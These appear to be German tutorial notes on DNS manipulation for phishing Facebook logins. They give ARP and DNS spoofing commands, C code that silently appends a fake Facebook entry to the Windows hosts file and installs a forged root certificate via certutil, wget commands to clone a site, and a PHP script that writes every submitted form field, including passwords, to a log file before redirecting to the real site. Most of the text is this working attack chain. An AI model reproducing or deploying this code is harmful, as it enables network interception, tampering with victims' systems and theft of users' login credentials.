DNS-Manipulation für Phishing-Zwecke
Mit Backdoor:Wenig Spuren hinterlassen
file example (spoofhosts.txt)
192.168.1.100 www.facebook.com
commands
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.245 192.168.1.5 &;
arpspoof -t 192.168.1.5 192.168.1.245 &;
dnsspoof -f spoofhosts.txt host 192.168.1.245 and udp port 53
Hack Nameserver
Füge Zusatzrecords bei Anfragen hinzu
Abfrage: Cache anderer Nameserver poisoned
CSRF
Defaultpasswörter
Besuch einer Seite und lokales Netz ist umgebaut
BeispielAnpassen der etc-Host-Datei
#define VARNAME TEXT("SystemRoot")
#define BUFSIZE 4096
...
// Variablen
// Pfad
LPTSTR strToAdd = TEXT("\\system32\\drivers\\etc\\hosts");
pszVal = (LPTSTR) malloc(_MAX_PATH*sizeof(TCHAR));
DWORD dwRet;
...
// Umgebungsvariable
dwRet = GetEnvironmentVariable(VARNAME, pszVal, BUFSIZE);
_tcsncat(pszVal, strToAdd, (_countof(pszVal)- strlen(pszVal) - 1));
FILE *pFile2;
pFile2 = fopen(TEXT(pszVal), "a");
if (pFile2 != NULL)
{
fputs("192.168.56.101 www.facebook.com\n",pFile2);
fclose(pFile2);
}
#include "windows.h"
#include <stdio.h>
int main (void)
{
DWORD dwErr;
// run shell command
dwErr = ShellExecute( NULL,
"runas",
"minor.exe",
"",
NULL, // default dir
SW_SHOWNORMAL);
return 0;
}
char* myCommand = "certutil -addstore -f -enterprise -user root fakefacebook.cer";
system(myCommand);
Speichere Seite möglichst
Beispiel ohne Browser
wget --user-agent="Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
-mkEpnp http://example.org
Manipuliere Formular-Eingaben z.B.
action="https://example.org/nextpage"
zu
action="myintermediate_action.php"
touch logs.html
cat myintermediate_action.php
<?php
header("Location: https://www.facebook.com");
$handle = fopen("logs.html", "a");
foreach($_POST as $variable => $value)
{
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fwrite($handle, "<hr />");
fclose($handle);
exit;
?>
Exe-File
Check des Zertifikats
Get-ChildItem -Recurse Cert: | select-string facebook
Aufruf Phishing-Seite Browser